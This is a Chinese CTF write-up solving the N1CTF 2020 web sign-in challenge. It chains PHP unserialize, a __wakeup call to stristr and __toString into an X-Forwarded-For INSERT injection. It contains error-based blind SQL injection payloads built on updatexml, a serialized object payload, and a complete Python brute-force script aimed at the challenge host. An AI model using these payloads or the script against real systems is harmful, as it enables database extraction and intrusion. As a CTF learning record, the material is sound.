开始
访问地址直接给出了源码: http://101.32.205.189
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
粗略一看,源码里unserialize($input)
的大字告诉我们是需要控制传入input参数的反序列化数据来进行一些条件的满足从而来获得flag
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
最终达成的目的很明显就是运行flag类里的getflag()
方法,通过readfile来获得flag文件,而想要运行此方法就要满足条件md5($this->check)===md5("key****************")
,并且key我们是不知道的,看起来也没有办法控制,可以控制的话还可以通过传入数组让两边md5函数来返回null来进行条件满足,所以我们需要知道这个key的值
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
然后很自然的将目光投放到上面的ip类中,看到此类获取了访问者XFF并插入表中,很自然的就想到了xff注入
,通过注入来获得key,来赋值flag类中的check变量
,而此mysql语句放在__toString()
中,想要运行此函数就要满足一个对象被当做字符串对待来触发,所以我们需要寻找一个能够触发__toString()的点
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
分析一下发现,我们传入反序列化数据会触发__wakeup()
,此处的stristr()函数是对传入参数1中查找是否存在参数2
,而参数1也就是$this->ip
是我们实例化flag时传入的字符串,属于可控参数,而当我们传入的是ip类实例化后的对象时,则刚好触发此ip类的__toString()函数,所以我们此时可以生成序列化数据进行尝试
$flags = new flag(new ip());
$b = serialize($flags);
echo $b;
INSERT into admin(`username`,`password`) VALUES ('user' and updatexml(1,concat(0x02,(select database()),0x02),1) and '','123456')
然后在本地mysql尝试构造了一个insert注入payload: INSERT into admin(
本地运行成功,访问目标时提示如图username
,password
) VALUES ('user' or if(1=1,sleep(3),1) or '','123456')
存在注入检测,应该就是waf函数没显示的那些代码,所以无法直接进行注入,需要另想办法,而__wakeup()
函数中有一个可以帮助盲注的点,触发__toString()时,我们可以通过报错函数来控制返回的字符串是否存在n1ctf,所以构造注入语句1.1.1.1' or updatexml(1,concat(0x01,(select if((1=1),'n1ctf','no str')),0x01),1) or '
提示了welcome to n1ctf2020,那么只有在传入的值中包含n1ctf才会提示这个,所以很明显是传入的对象成功触发toString函数,证明思路是正确的,其中的报错函数导致sql语句报错,使return的返回值中包含了n1ctf,根据这个逻辑去写一个python脚本跑一下,我这里使用了一个很实用的burpsuite的插件辅助生成个模板
exp
import requests
session = requests.Session()
x = 'qwertyuiopasdfghjklzxcvbnm1234567890'
arr = []
paramsGet = {"input":"O:4:\"flag\":2:{s:2:\"ip\";O:2:\"ip\":1:{s:2:\"ip\";s:9:\"127.0.0.1\";}s:5:\"check\";N;}"}
for start in range(1,30):
for result in x:
#获得表名为n1key
# get_tables = "' or updatexml(1,concat(0x02,(select if((substring((select group_concat(table_name) from information_schema.tables where table_schema='n1ctf_websign'),{},1)='{}'),'n1ctf','no str')),0x02),1) or '".format(start,result)
#获得列名
# get_column = "' or updatexml(1,concat(0x02,(select if((substring((select group_concat(column_name) from information_schema.columns where table_name='n1key' and table_schema='n1ctf_websign'),{},1)='{}'),'n1ctf','no str')),0x02),1) or '".format(start,result)
#获得key值
get_key = "' or updatexml(1,concat(0x02,(select if((substring((select `key` from n1key),{},1)='{}'),'n1ctf','no str')),0x02),1) or '".format(start,result)
headers = {"Cache-Control":"no-cache","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36","Connection":"close","X-Forwarded-for":"1.1.1.1{}".format(get_key),"Pragma":"no-cache","Accept-Encoding":"gzip, deflate","Accept-Language":"zh-CN,zh;q=0.9,ar;q=0.8"}
response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers)
if '<code>noip</code>' not in str(response.content):
print('tables:'+result)
arr.append(result)
for res in arr:
print(res,end="")
获得了表名为n1ip, n1key,这里是因为源码里有数据库名为n1ctf_websign,所以可直接跑出表名
获得列名为id,key
获得key为n1ctf20205bf75ab0a30dfc0c
然后用这个key生成序列化数据进行访问,得到flag